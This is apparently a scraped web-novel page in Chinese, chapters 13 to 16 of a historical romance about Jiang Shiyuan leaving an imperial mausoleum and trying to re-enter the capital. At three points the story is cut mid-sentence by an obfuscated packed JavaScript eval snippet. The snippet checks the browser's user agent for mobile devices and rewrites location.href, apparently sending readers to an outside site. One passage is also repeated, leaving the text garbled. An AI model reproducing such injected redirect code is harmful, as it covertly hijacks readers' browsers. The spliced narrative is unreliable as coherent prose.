为了描摹出完美的美人皮,慕朝不顾危险重返皇陵,又恰好瞧见叶婵威胁柳儿,欲在崔梅面前揭发姜时愿违反皇陵禁制。姜时愿对他有救命之恩,他当然不容许她出事。于是强忍着内心的作呕,描摹了‘叶婵’的皮囊,伪装成叶婵,出面替她作伪证。 姜时愿在慕朝七七八八地绕弯,精准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053451|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地捕捉到了他话中隐藏的一点:“真正的叶婵到底在哪里?” “死了。”慕朝答得极快。 叶婵死了?怎么就死了? 姜时愿的眉梢有了愠意,首先质疑起了慕朝:“叶婵怎么死的?是否与你有关?” “娘子别生气,叶婵的死是咎由自取,并无我的手笔。”慕朝又道:“叶婵爱慕虚荣,以为南陵藏了什么好东西,也学着小姐夜探南陵,没想到一不小心撞上猛虎,活生生被虎咬颈而亡。我还好心挖了个坑,将叶婵葬了,当然,这一切都是看在小姐的面子上,否则我才不愿意接触这么丑的皮囊。” “你亲眼看见她被猛虎咬死,却不救她?” “世间万民皆有自有的命数,害死叶婵的是她心中的贪念,且她的性命与我毫无干系,我为何要救?”慕朝毫不犹豫地回答,又见姜时愿面色阴沉,叹了口气,语气极为认真:“好吧...真实原因是鄙人武艺不佳,只会易容和轻功这些逃生的手段,提刀拉弓的杀人功法一窍不通....,要我救叶婵,估计我也得搭进老虎的肚中。” “我都这般真心实意地解释了,小姐还拿这种眼神看着我作甚?” 慕朝玉立在廊前,从栏上提溜着一件白狐裘,看着眼前人女子微微蹙眉、朱唇紧抿。他的手掌抚摸着松软且光滑的狐裘,赞叹道:“我早该想到的,小姐连生气的模样都这般美,难怪我描摹不出小姐的神韵...” 现在,慕朝好似渐渐懂了为何? 他向来以为白乃脆弱之色,一点墨染便可坠入混沌,直到见到了姜时愿,名满汴京的贵女,才第一次感到白的高雅与坚韧。姜时愿这一身的素白,如高树海棠,冰清玉洁,与此地暗流阴斗之地格格不入。原以为会互相着色、或在纠缠中融合,可她的素白在皇陵这摊死水中越发鲜明。 罢了...姜时愿不想与他多作纠缠,收拾慕朝换下来的衣物和首饰,捆成包裹,又往里添了块石头,抛入水中。 听扑通一声,包裹没入水中,姜时愿见那抹艳色慢慢被吞没才渐渐安心,对慕朝说道:“你必须赶紧离开皇陵!要是被发现了,不仅你难逃典狱的魔爪,谢循也会顺藤摸瓜,查到是我私放了你。” “现在是我回京的关键时候,我绝不允许任何人阻挡我回京。” 慕朝先行一步挡住她的去路,幸好姜时愿反应及时,止了步子,否则将要撞个满怀。“你,油盐不进....”,姜时愿怔了怔,慕朝低头看着她,眼中含温润的笑意:“小姐稍安勿躁,我只想和小姐说句离别罢了。您对我有恩,我无以回赠,唯有一枚骨哨,若是小姐需要我帮忙,就可用这骨哨唤我。” “姜小姐,我们汴京再见。” 说罢,慕朝从脖子上解下如小指长短的骨哨放在姜时愿的手心上,而后利落跃身,足尖轻踏湖面而去。 姜时愿长长叹息。 总算是把这个麻烦送走了... 现在万事俱备,就差最后一步,亦是最关键一步,她便可以重返汴京。 13. 013 “时愿姐姐,你在每日都在璧上刻什么呢?” 三七歪着脑袋凑近细瞧,璧上已经被刻下满面的‘正’字,字体是京中小姐崇尚的簪花小楷,清流细娟。她思索了一阵才想起来,每日都会见到时愿在墙上刻上一笔,这密密麻麻的正字是代表了时愿来皇陵的日子,细细想来已有一年。 这一年间皇陵翻天覆地。 三七正感慨着时间飞逝啊,姜时愿拿着玉簪狠狠划过墙壁,‘正’字拦腰而断,玉簪也不堪负荷在她掌心中粉碎崩裂,鲜血随着簪尾滴答落地。 三七见姜时愿额间抵墙,墨发微垂,脱口问出:“姐姐,你怎么了?” “三七,距离大理寺押解崔梅进京已有一月,要是圣人有什么恩赐的旨意早该下来才是,为什么时至今日,我还没有收到任何消息?” 姜时愿开始怀疑自己,怀疑任何一个环节,到底是哪里出了问题?是她猜错了圣人会赏罚分明,还是李奇邃根本没有向圣人言明自己的功劳,还是谢循从中作梗,不让她回京。 为什么苍天偏不顺她姜时愿的意呢! “姐姐....”三七不知该怎么安慰时愿,默默替她包扎沙口,柔声道:“姐姐一定会等到的。” 咚—— 突兀的一声踹门声,柳儿犹如疯兔般地飞奔而来,火急火燎,大喊着三七和时愿的名字。 这没眼力见的,也不看眼下是什么气氛! 三七气得凶狠狠地剜了一眼柳儿,而后却惊喜地看见柳儿身后跟随着的一道道藏青袍子,为首之人右手臂弯夹着浮尘,高举敕令。 这这这...不是宫里的内侍吗! 她激动得说不出话了,连忙拍着时愿:“姐姐你看,谁来了。” 姜时愿恍然抬眼,内侍已经卷开敕令,长身玉立在她的面前,宛若一睹皇墙。 与她那日听见流放的流程一般,内侍命她与三七跪下,冷声开口:“恭喜二位守陵人,圣人感念汝等揭露崔梅罪行有功,特赦免其罪,望汝等归家洗心革面,不可再犯。” 这惊喜来得过于突然,三七有些失态了:“归家的意思是,可以出皇陵是吗!” 内侍点头,“只不过,圣人虽赦其刑,还赦其罪,但汝等户籍不改,仍是贱籍。” 显然三七没有将内侍的最后一言放在眼里,兴奋地扑在姜时愿怀里,道:“姐姐,你听到了吗?我们可以出皇陵了,不用陪葬了!!姜时愿仍有些不敢置信,须臾之后,扭了一圈自己的手腕,直到红肿疼痛,这才终于微微一笑。 内侍片刻都不想留在此处,催促道:“二位守陵人,咳咳,二位姑娘,可有物件要收拾,要是没有就随咋家动身吧,天色若晚了,这出皇陵的路可不好走啊。” 自从被谢循扣下三筐草药,这皇陵里已经没有姜时愿在意的东西,便转头问道三七,三七也摇摇头,有些无奈地说道:“我要是有什么好东西,不就和崔梅一样了,要被抓起来的!” 内侍拱手让道:“那便随我启程吧。” 数量车舆停下山脚,数十位宫中内侍来访皇陵的消息马上传遍了所有人。 所有守陵人鱼贯而出,涌在山头上,看着两位女子在内侍群涌下远去的身影。在场之人神色各异,双眸中一瞬露出羡慕,久而久之,羡慕又变为了嫉妒,而后又抬眼扫了一圈四周环绕的青山,咬紧朱唇。 也就唯有柳儿和竺儿这两位没心没肺的,手舞足蹈地朝着山脚挥手:“时愿姐,以后常来玩啊!我们一定给你好酒好菜!”,又朝着面色阴沉的众人吹嘘着:“瞧我姐多厉害,是古往今来第一位走出皇陵的人!还是受圣人大赦,风风光光走出去的!” 其中一人回嘴道:“你在兴奋个什么劲儿,好像搞得你也跟着一起出皇陵了呢。” 有一人自哀自怨道:“罢了,你我等人就认命吧,在哪不是活啊,没准她们刚下山就被猛虎咬死了,还是呆在皇陵安全。” “言之有理,早些散了吧,看她们作甚。” 来时走的是天路,去时也是,只不过来时是登山之景,仰慕高山,而现在却要去往云层之下。 走在天路之上,三七百感交集,有惊也有惧,抓紧了身边的姜时愿,额间轻轻蹭着她的臂膀,轻喃道:“不知为什么,从前日日呆在这里,哭着要出去,如今真被放出去了,我却害怕起来了....姐姐,我怕这外面的世道比皇陵还要可怖...” “不怕。” 姜时愿牵着三七微凉的掌心,先行迈下一阶梯,道:“我们已比许多女子还要幸运,守陵人一生不得出皇陵,这种绝望远比恐惧更加无助。三七,宁愿生惧、生怖,也不要安于接受现状,一旦安然接受自己的不幸,便是沦为行尸走肉的第一步。” 是啊,时愿说得对。 皇陵是个囚牢,是捆住她自由的地方,她怎么将它视作为安全?只不过是她一生窘迫的栖息之地罢了,怎么成为她一生的终点,她决不能于此。 三七擦掉泪痕,干脆利落回道:“姐姐,你说得对。我要光新亮丽地活着,我想开一间珍宝阁了,阁中摆满我做的木工,一定要让所有人都看见我的厉害!”一说起梦想,三七就活跃起来,如个麻雀绕在姜时愿的周围。 终于迈出皇陵的那一刹,好像所有拴住姜时愿的链锁全部在此刻断裂,她清晰地听到自己笃笃心跳,感受到她翻涌的恨意指向汴京。 她等这一刻已经太久。 三七顺时愿的目光,也眺望北方:“姐姐,是想往北走吗,那可是去汴京城的方向?你还想回京?” “对。”姜时愿斩钉截铁答道。 三七问道:“为什么?” “三七,汴京有我不得不回去的理由。”姜时愿似乎是暗下了某种决心,深深屏气:“其实我一直没有告诉你,我有姓氏,姓为姜。” 三七的眼眶倏然瞪大.. 姜家,簪缨世家,四大世家之一,也是包藏祸心,企图暗杀燕王的姜家。 姜时愿的声音依然清冷:“我的兄长含冤而死,我的家族世代忠良现却被世人诋毁,我要为回京为他们洗冤。” 三七站在姜时愿的面前,目光坚定无比:“我信姐姐也信姜学士的人品,你救我出皇陵,我也要还恩,随你一起去汴京,查出真相,替姜家洗冤。” —— 城南太师府,今夜也是灯火通明。 夜雨阑珊,细雨之中,慢慢显现出一位在雨中疾行的男子,小厮看清院中来人,立马擎扇去接,“大公子,太师已经安寝了,不敢打扰啊。”,此话音刚落,手中的扇就被男子一掌推开。 小厮口中的大公子,眼前的貌美青男,就是名满汴京的才子——盛怀安。 平时斯文儒雅的公子,今夜忽然暴戾,他想也不用想,就已得出结论。能让盛公子反复无常的,唯有那位远在皇陵的守陵人。 盛怀安没有理会小厮,径直走入墨雨阁中。 阁中唯有两人,一人衣衫湿透,面相狼狈,一人卧在罗汉榻上,背对着来人,深深叹气。 ““夜闯为父阁中,我教你的规矩,看来是忘得一干二净。为何一到姜时愿的事情上,你就这般沉不住气。”盛老声音放低了,是年长者的训诫,不动怒亦有威慑之意。 “父亲为 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盛怀安转身欲走,盛老知晓他的性子,是吃了秤砣铁了心。 盛老连鞋履都爱不及穿,赤足拦在他的面前,神色微动:“儿啊...阿愿是个好女子,但你现在要娶她,反倒害了她,别忘了你已经与独孤太尉之女定了姻亲。” 此事说来话长,姜家未出事之前,姜家嫡女和盛府长子的姻亲乃属于盛家烧了高香,高攀了姜家。毕竟姜家基业百年,累出高官,毫无疑问乃四大世家之一,盛家也靠着盛老之名一朝得势罢了,若真论起来,朝中毫无根基。 而如今局势大变,姜家势倒,一朝没落。因为盛家也备受牵连,名望已大不如前,不少朝中高官更是看着盛家的笑话,避而远之。墙倒众人推,就连盛老的太傅之位都差点不保,还好有八大家之一的独孤家力挺。 盛老颇感诧异,盛家和独孤家从前毫无往来,为何忽然雪中送炭。后来,盛老看见前来请安的长子怀安才想起来,曾听闻独孤家的小姐好似在上元灯节对盛怀安一见钟情,可惜此时盛怀安早于姜时愿两情相悦,独孤小姐为此还伤心欲绝、大病一场,遂再无后话。 回忆乍现,盛老笑着转动上大指上的清玉扳指,明白了独孤太尉的用意,这分明不是帮自己或盛家,而是为了解爱女的相思之苦。也罢,八大家虽不如四大世家,但眼下盛家也别无他选。 于是,盛家长子与独孤家之女的婚事就此定下。 盛老苦苦哀劝到:“儿啊,你要好生思量清楚,若要退婚改娶贱民,岂不是在打独孤家的脸面?独孤太尉视女如命,你敢让他嫡女蒙羞,他就敢活剥了姜氏,更敢为爱女出头,弹劾我们盛家,让我们盛家沦为下一个‘姜家’。” “儿啊,你难道忍心看我们盛家家破人亡、流离失所吗.....” 盛怀安缄默不语,泪水早已淌下.... 盛家规矩繁多,小厮一得空就会偷摸地打瞌睡,美梦正香时,被突兀的推门打破,瞬间醒了。 勉强掀起睡意浓重的眼帘,就看见一道人似人、鬼非鬼的男子立在他的眼前,骇得他大喊起来。 那惨白的手骨捂住小厮的唇,教他的惊呼全部吞回肚中。 “是我。” “盛大公子?” 小厮双眸圆瞪,刚刚进去的盛大公子还是芝兰玉树、意气风发的,怎么眼下就是好似被恶鬼吸去三魂六魄般,毫无精神骨。他吞了吞口水,问道:“事情怎么样了?老爷同意大公子和姜娘子的婚事?” 盛怀安淡道:“你帮我向阿愿捎点东西,并带句话。” 14. 014 汴京出时容易,进时难。 入汴京受城门校尉验明过关,便是姜时愿回京的第一难。 “你们二位娘子,不能进京,快快离去。其余之人,可以入京。” 校尉的声音从往来路过的车舆、货车后传来,许多商户牵着马、市井百姓徒步走向漆黑的门洞,唯有姜时愿二人止住在城关口。 校尉的声音从往来路过的车舆、货车后传来,许多商户牵着马、市井百姓徒步走向漆黑的门洞,唯有姜时愿二人止住在城关口。 三七不解问道:“为何?” 校尉董二不太乐意解释,黑着脸粗粝地命令手下之人将二人赶走,三七还是据理力争,带着幕篱的姜时愿连忙挡在兵甲门前,问道:“有话好说,但是不能过关,总要给个由头吧?” 董二便指了指张贴在朝阳关前的告示,丢下一句:“自己去看。” 姜时愿走上前,撩起眼前的白纱。 告示贴在城墙最醒目的位置,以靛蓝为底,金墨提字,最后还上印着户部司的朱印。 写于宣德三十四年,为新颁布的新规。 上述大致写道: 入上京城者,必须先入朝阳关随查,验明身份。 以上之人不得放行入汴京:封疆大吏与藩王无召不得入京;作奸犯科、身负命案者不得入京;无户籍为证或者户贴为贱籍者,不得入京。 前两条都没问题,唯有第三条让姜时愿犯了难。宫里来的内侍成特意告知,圣人仁厚虽然赦免了她们的二人的罪责,还了自有自身,但她的户贴上不为良民,而是贱籍。 贱籍者又在世人口中被称为贱命,不属于是士、农、工、商四民之列,是比平民还要卑贱的社会阶层。入贱籍的男子不得科考,不能购置土地,不能从商从业,永世不得翻身,编入正户。而入贱籍的女子则比男子更加悲惨,因为世俗观念,甚至不能与普通民众通婚,走头无奈之下只能将自己卖入烟花柳巷。 三七也仔仔细细总览了一遍,神情很是愤恨:“怎么这样啊?这是何时颁布的新规,怎么以前从不知晓?姐姐,这样我们岂不是进不了京城了?” 董二非但没有对二人的遭遇同情,反而横笑了一声:“不然呢,这上京城是你们两位卑贱之人想进就进的嘛!本校尉倒是觉得这条新律真好,世人本来就分三六九等,你们这些臭虫烂虾就该呆在腌臜污秽之地,凭什么和我们这群上人同住在一处,享汴京之繁盛。” 董二话语恶狠,看着三七气怒的样子,表情越发愤恨,心里更觉得前所未有的快感。 而视线瞥到三七身旁,那位隐在薄纱之下的娘子表情似乎依旧淡淡的,无喜无怒,语气也是出奇地平静:“校尉自封为上人,我倒是好奇,你位于三六九等中的哪一等呢?” 董二还没来得及反应过来,就又看见女子已然福身行礼,朱唇微张:“小女见过魏国公。” 哈?国公来了? 或者是在官场多年的历练,董二早就练成了顺时媚上的反应,都还未看清来人,就已经转过身去,弓着身子,结结实实地行着大礼:“小的,见过国公。” 可迎之而来的不是平身,而是周遭此起披伏的笑声,还有眼前之人慌乱的话语:“校..校尉...大人,怎么给我行如此大礼啊,小的受不起啊。” 董二醍醐灌顶,猛地抬头,身前之人哪里是什么国公,而是他手底下的‘虾兵蟹将’! 幕篱遮面的女子又娉娉婷婷走到一旁,语气中颇感惋惜:“原来像校尉这般自傲的‘上人’,也要跪地行大礼,当真辛苦,小女受教了。”听她又叹息一声,道“怕是校尉这种‘上人’也在国公眼中,为九等之末。如此说来,校尉口中的‘上人’与‘贱命’好像并无高低贵贱之分。” “好你个伶牙俐齿!” 可恶,董二气得鼻歪嘴斜,竟然被此女戏弄了,害得他颜面尽失。要不是往来过朝阳门的达官贵人太多,难以动手,不然他非得要此女好看。 董二只好强压怒气,重回正题:“你再怎么能言善辩、巧舌如簧也没有用,也改变不了生来就是贱籍的事实,总之就是入不了上京城。” 他又姿态傲慢地摆了摆手,手底之人就用银戟步步逼退三七和姜时愿二人,他见此,轻笑一声,大摇大摆地朝着入城关的方向走去:“你这小娘子若是真这么有本事,就将自己编入正户,脱去贱籍啊,我董二就放你入京城。” — 入京城无望,三七和姜时愿无功而返,只能暂时先找城关旁的一家茶铺歇脚。 茶铺中客人不多,店小二就有了十足的精神来招呼新来的客人,拿起披在肩上的白条子抹了几下木桌,摩挲地光滑圆润方才罢休,又提着茶壶给两位姑娘上茶,听着二人你来我往的交谈。 三七单手托腮,叹着气:“当真痛快,看着董二那吃瘪的模样,我当真是舒心。姐姐,你为何闷闷不乐?” 姜时愿解下幕篱,指尖轻敲着桌面,若有所思:“董二虽然可恶,可他所言并无道理,贱籍者不可入京的规矩是户部司亲今年的新政,除非我们脱去贱籍,亦或者等着新政废除,否者可能一生也回不到京中。贱籍、奴籍、良民,这末等之列,就属贱籍最为卑贱,要脱去贱籍,怕是不易啊。” “姐姐,别说贱籍了,奴籍多难脱呢。我先前在辛者库之时,有些老嬷嬷劳碌一生,都未能等到出宫,交还宫帖之时,一生到死户贴上仍是奴籍。” “三七,你可知晓如何才能脱去贱籍?” 一口茶刚饮下,三七差点呛到:“姐姐,你竟然不知晓吗?” 姜时愿沉默,怔怔地点了点头。 三七:“虽说脱去贱籍实难,不是也全无方法,有两条路可行。” 还未等三七详细解释,店小二就拿着三只瓷碗倒扣在木桌上,手势比着三,插嘴进来:“在下倒是知晓三条路子,比这位小娘子多一条。” 三七鼓着气:“那你倒是说来听听。” 小二先是将一只带着缺口的瓷碗,推倒姜时愿面前:“第一条路,受达官贵人赏识,在其身边谋职,自然就能脱去贱籍。可是此条路难行啊,嫡庶有别,贵贱有天地之分,咋们这群蝼蚁又怎能轻易见到在云端住着的贵人呢?” 第一只盏又被小二翻正,倒上茶水,又指着第二盏,说道:“这第二条路嘛,对于女子来说,相对容易一些。随便找个良家子弟嫁了,就可以借着夫家的光,从贱籍编入正户。只不过嘛,这条路怎么说呢,现如今也难走。哪位良家子弟愿意放下世俗眼光,自降身份娶个贱民为正妻啊,即便再爱此女子,也只敢偷偷摸摸纳个小妾,谁会犯傻非要给她正妻之位啊!” “姐姐,我先前想说的也是这两个办法。”三七嘟囔着嘴,“只不过被抢话了。” 姜时愿淡抿下一口茶水,苦涩难咽,难以下口,但又强迫自己饮下整碗,现在的自己可无挑三拣四的权力。 她轻蹙着眉头,又问道:“那第三条路呢?” 小二望了一眼周遭,示意二人凑近点,极为小声附耳:“第三条路,价钱可不便宜啊。汴京鬼市,找个叫‘白无常’的掌柜,便可以买已逝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜时愿忽然冷声打断道:“深情是指盛怀安转头就与独孤太尉之女定了亲吗?” “这...公子与盛家也是迫不得已啊,各有难处。公子的心中都是姜小姐您啊,天地可鉴啊...” “请讲正事。” 啊.....这姜小姐还变得刻薄起来了,不给自己一点客套。 不过也对,自己倒腾这几句废话不是戳着人家伤怀之事了吗,人能不生气吗? 思及此,小厮好受了很多,解开包裹,乃是满满的一包金银细软,多是翡翠、玉石等名贵之物,中间还放着着张地契和文书,小厮声音倏然傲了起来:“大公子体恤姜小姐现在的不易,沦为贱籍,居无定所。特命我奉上了一些财物,还有京中的一处小院,顺便还有能帮娘子编入正户的正经差事。” 话音甫落,小厮看见姜时愿手指慢慢拂过金银细软,垂着眸子,看似终于有了松动之意。 心中耻笑,这姜时愿先前还摆着姜家小姐的态度,到头来还不是为了这‘五斗米’折腰。 看见时机成熟,又按着盛大公子的吩咐,从怀中掏出一封信件,是极为名贵的靛青纸,一纸可抵十银。 姜时愿扫了一眼信笺上的‘阿愿收’。 笔锋收放自如,如清风出袖,毫无疑问是盛怀安的字迹。 小厮佯装声泪俱下:“公子和小姐之间有缘无分啊,公子希望娘子看完信件、收下细软之后,从此,各自安好。” “姜小姐,求你收下吧。” 15. 015 姜时愿软睫微垂,望着那一封手书和珠宝。 心中满是默然,甚至还有一丝作呕。若是在盛府拜别的那日,是她彻底心中放弃这段感情的一刻,那么此刻,就是她在庆幸自己完完全全看穿了盛怀安,这位伪君子。 什么才望高雅、臻于至善全是假的... 盛怀安想让姜时愿自己念着他的好、体会他的难处,又想教姜时愿收下好处之后,从此一刀两断,莫妨碍了他与独孤家小姐的婚事... 他这一切不是为了做给未婚妻看的,也不是为了弥补姜时愿,而是为了安抚他日夜作祟的愧疚。好似这此法一举下去,既能消除他的婚前仍属意于另一外的女子的不忠之念,又不算个负心汉,辜负与姜时愿之间多年的情意。 盛怀安不仅自我欺骗,且又懦弱,连最后的离别都不敢亲自面对,还要委托小厮递来书信。 这样的男子不值得她一丝神伤,从前温存的种种再也无需回忆。 思及此,姜时愿神色微动:“身外之物我皆不需要,有句话有劳你帮我传达给盛公子。” 小厮道:“姜小姐,请讲。”之前喊了那么多声小姐都不是真心实意的,唯有这一声实在让他发自肺腑。尽管眼前几经流转颠簸、身无锦衣,耳无耳铛,发间无珠钗步摇,可不知为何小厮从她身上看不出一点明珠黯淡,反而更让他生畏。 果然,有些东西不是靠锦衣华服便可加身的。 姜时愿:“今生不欠,从此不复相见。” 小厮问道:“那手书呢,娘子当真不看一眼吗?这封手书乃是公子字字涕泪、彻夜不眠写给娘子的。” 谈及手书,姜时愿掌心覆上泛着金箔的信笺。小厮的嘴角也随之扬了起来,心念着总算解决这麻烦事了,可下一瞬,却弧度就此凝固了。三月时节,柳絮纷飞,随风一同卷走还有女子一手撕碎,抛向空中的手书。 小厮看傻了眼,公子的手书就这样被姜时愿看也不看,撕个粉碎,又让它似是无用之物,随风飘走,心中叹道,这女子心真狠啊。 一袭素衣的姜时愿从簌簌而落的‘纸雨’中悠然转身,神情出奇地平静:“信写了,就一定要看吗?可惜迟来的信件不逢时机,而收信者也不会一直驻足等待。” 当姜时愿在暗无天日的女囚之时,皇陵之时,我曾多都盼望着能收到他的一封信件,告诉她在这人世,她还有可信任之人,还有可以依托的人。无数次看到铁窗外的繁星夜色,她就会想起上元灯节,盛怀安因为牵起了一段绢帛而红了脸颊,在月下起誓:一定会娶她为妻,白头偕老,永不相负。 可惜啊,姜时愿低估了世间的无常,盛怀安高看了自己的勇气,成于世间,败于世家,处处受限,害怕受到姜家牵连,就连一封信件都不提笔... 等待就是等待,从不美好,裹挟着其中无数的期待与失落,痛苦与挣扎。 等不到的东西,姜时愿便不会再等了。 迟来之物,她不会再看一眼。 — 若说汴京城外最美的景色乃是城关外,运河旁的一截羊肠小道。 运河两岸夹种着碧柳,修竹苍翠,锦绣成堆。夕阳西下,金阳扑洒在水面之上,波光粼粼。 层台水榭前。 一位青年迎着日暮,身上绯色官府未脱,仪容更甚往昔,身姿颀长,满身风姿,气质清冷,在岸边垂钓的老翁这视线不敢往上瞧本分。毕竟,青天白日里究竟还有谁会戴个非人非鬼的面具出来吓人呢? 想到这,老翁已经大概猜出了在旁垂钓之人的身份,行动略显笨拙且迟缓地往旁挪了挪,刻意且寓意耐人寻味,然后再小心翼翼地再觑了一眼,那人似乎不解地抬起手中钓竿,弯钩饵料满满,好像没有鱼儿吃食。 谢循显然也意识到了这点,老人家的鱼篓已经满载,而自己依然空杆。 他此刻的神情倒有了些不悦,亦可以说是挫败。 好在,他懂得虚心请教:“还望老人家赐教,谢某在此地闲钓接近约莫两个时辰,都未曾有鱼儿上钩,是否是这饵料、竹竿出了问题?” 国公是何等身份,所有之物自然是他这种平民都望尘莫及的,若说是装备差他一等,老翁打死也不信,这问题还是出在人身上。鱼是畜类,畜生向比人都要直觉灵敏,感知此人满身杀孽,自然不敢吃食。 老翁只好称谎道:“应是饵料的问题,这京郊外的鱼儿就比如咱市井百姓吃惯了粗糠,头一次见到山珍海味倒还吃不习惯,说到底就是生来贫贱命。小人就这么说说,国公别往心里去。” “全是这饵料的问题。” “是吗?”谢循垂眸,眉目眼角尽显疏冷。 “小的岂敢欺瞒国公。” 话音甫落,头顶之上的繁密树荫之中一位青衫小儿从树杈上一跃而下,稳稳地落地,而后揪着此举差点没有将年近七旬的老翁吓得一命呜呼,谢循随即冷声呵道:“袁黎,下次行事不可如此莽撞。” 袁黎捏着手中的草兔子耳朵,嘴里含糊不清,不自信听,还真无法从简单的字节里听出来了一句是。 紧接着袁黎又竹篓里饵料一股脑全部倒入河中,这是他今日清晨看见谢循亲手制备的。饵料一下池子,这河面像是天降甘霖般炸开了锅,惊现无数鱼儿涌出吃食。 这不明晃晃打老翁的脸吗? 老翁也是个聪明人,也不跪下求饶,直接撒腿就跑。 袁黎见老翁慌乱离去,起身要追,却被谢循拦下。 袁黎望向谢循:“骗子,谎话连篇者都该落狱,处以鞭刑。” 谢循笑道:“那你又能定他何罪?” 袁黎气得掰下了一截刚捏好的草兔耳朵,手背青筋暴起,双眼猩红:“欺骗主君便是重罪。” 谢循冷声道:“袁黎,静心。” 在典狱所有司使眼中,袁黎简直就是问题小孩一个,生来性格孤僻,又不恰好的有这个十岁小儿这个年岁的小儿心性,这性格就怪上加怪。 他不仅我行我素,不敬长者,还从不与同龄之人玩耍,每天就只知道不停地反复捏着同一形的草兔子,即便磨得双掌水泡、出血,还是乐此不疲。也不知道这草兔子有独特之处,袁黎爱护至极,从不离手。 袁黎的不善表达情感,全是手中的草兔代为转达。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小二:“姑娘你得庆幸,我们这按人头收费,不按茶盏收费。你要是到酒楼、客栈吃茶少也要花上二十文呢。” “二十文,这么贵?前年不是才十文吗?” “哎,自从颁布了一系列新政之后,官府每年要上缴的赋税就更多了,这店家也不是傻子,这油水不就得从每个人客人身上都抽出来一点嘛。不止吃食长了、衣衫、首饰、还有地税也都涨了。” 小二一通抱怨喊苦之后,三七赶紧摸了摸钱袋子,反复数着荷包中的银两。 姜时愿再入茶铺之时,见到的是愁眉苦脸的三七。 三七将从小二来探听来的全部原封不动地告诉给了姜时愿,又小心翼翼从桌下递过去荷包,喊时愿悄悄扫上一眼,心里有个数,道:“来京中变数太多,先是贱籍不让入城,再是这物价水涨船高,我们这点银两,恐怕不够花。花销之中,衣食住行,其中若要住客栈的话,花销太大,负担不起,需要将这个大麻烦解决掉。” 三七握住姜时愿的皓腕,“姐姐,我有想到一个法子,只是可能要委屈下你。” 姜时愿:“你说。” 三七:“我想起我的姨娘在郊外有一处田宅,或许我们可以投靠她,这样一来就能大大剩下不少银子。只不过,我这姨娘性格古怪、更是见钱眼开。姨娘的性子不好相处,我怕姐姐你会受委屈。” 性子不好相处? 姜时愿冷哼一声,这世上应该没有比谢循还要糟糕的人吧。 16. 016 一条护城河东至西,将东面汴京城的繁华与西面的贫瘠隔开。 城内是繁华,郊外是人声落幕后的衰败。 自从新政效行之后,流民、贱籍皆不可入京,这些无处可归的可怜儿只能自寻荒地,建造农舍,久而久之,竟然还建成了一桩村落。只不过,这些安家之地在官兵口中又被轻蔑地贬为“贱民带”,他们高贵的足靴自然不会踏入这片自认‘污秽’之地。 三七的姨母就住在‘贱民带’之中。 此地没有严格的院落之分,都是好几处农舍、田地、猪圈糅杂一起,腥臭难忍,也极为贫苦。 临近住处,三七有些犹豫地站在姜时愿的面前,问道:“姐姐,你可真的想好了?我的姨母性子泼辣,小心眼,又贪财,整日梦着我家堂妹能嫁个高官,脱离贱籍,我怕你会受不了她。” 姜时愿笑着拍拍手心:“放心。” 三七推开篱笆院的竹门:“那我先进去个姨母说一声,你在这稍微等我一下。” 三七一步三回头,每一步都略带犹豫地走了进院中,最后姜时愿看见昏暗的屋舍忽然掌了灯,一位宽大的影子映在破烂的窗户纸上,手指正在指指点另一道纤细的影子。 烛火摇晃,几乎忽明忽暗。 姜时愿心里生出了一丝愧疚之感。 不过须臾,不过须臾,一位身材丰腴,红绡翠裙的妇人,模样似四十出头,急步匆匆,满是愤恨:“我到时候要看看哪家姑娘这么不要脸?竟然还敢白住我家屋子,我家屋子纵使再简陋,也是她想住就能住的呢?” 这应该就是三七的姨娘,何氏。 话音随着何曦娘推开院落的竹卷门,看清来人的面貌后戛然而止。 何氏似乎没有预想到想住自家屋舍之人,竟然长得这般标志。一身极致淡雅的素色群衫,也没有任何钗环首饰,都能衬得人如此水灵。细看五官,谈不上惊艳,谈不上魅惑,就是说不出令人慰贴,明秀清雅。 姜时愿先行问安:“打扰姨娘了,还请姨娘放心,我绝不是吃白食之人。我看姨娘院落中有自养青菜,圈中有饲养田鸡,若姨娘不嫌弃,我可以留下帮姨娘分担。” 何氏皱了皱眉,“那也不成,你这个细胳膊细腿的,能干啥粗活。收留你,还不如收留个壮汉。” 好似,不无道理。 “赶紧走,管你跟三七是什么交情,这里再也多分不出一人的吃食。”何氏不耐地催促着姜时愿赶紧离开,急得三七连忙挽住姨娘替姜时愿求情,这嘈杂推搡声许是惊扰睡梦里的人,院落中的另一间屋子掌起了灯。 另一间屋舍内,又娉娉婷婷走出来一位体型臃肿、满脸生疮的女子,双手环胸,站在庭院中看戏,道:“娘,都怪你,吵着我睡觉了,明日眼下又要乌青了。再这样就不美了,怎么嫁高官?” 倏然,她又一声惊叫,“啊,我这嘴角怎么又生疮了?”又娇嫃地喊,这声音仿佛要酥道骨头里:“娘。” .... 这一时之间,让三七有些难掩尴尬,道:“这就是我的堂姐,何烟儿。” 姜时愿一时也有些怔然,她从不以外貌断人,但又不免觉得何烟儿的梦想有些太过于宏大... “走,赶紧走。”何氏脸色愈发难看,甚至还上手推搡,姜时愿当机立断:“姨娘,我观令爱疮疡疥癞,肥甘失节,脘腹胀满,以这样的姿容怎么入高官之家。” 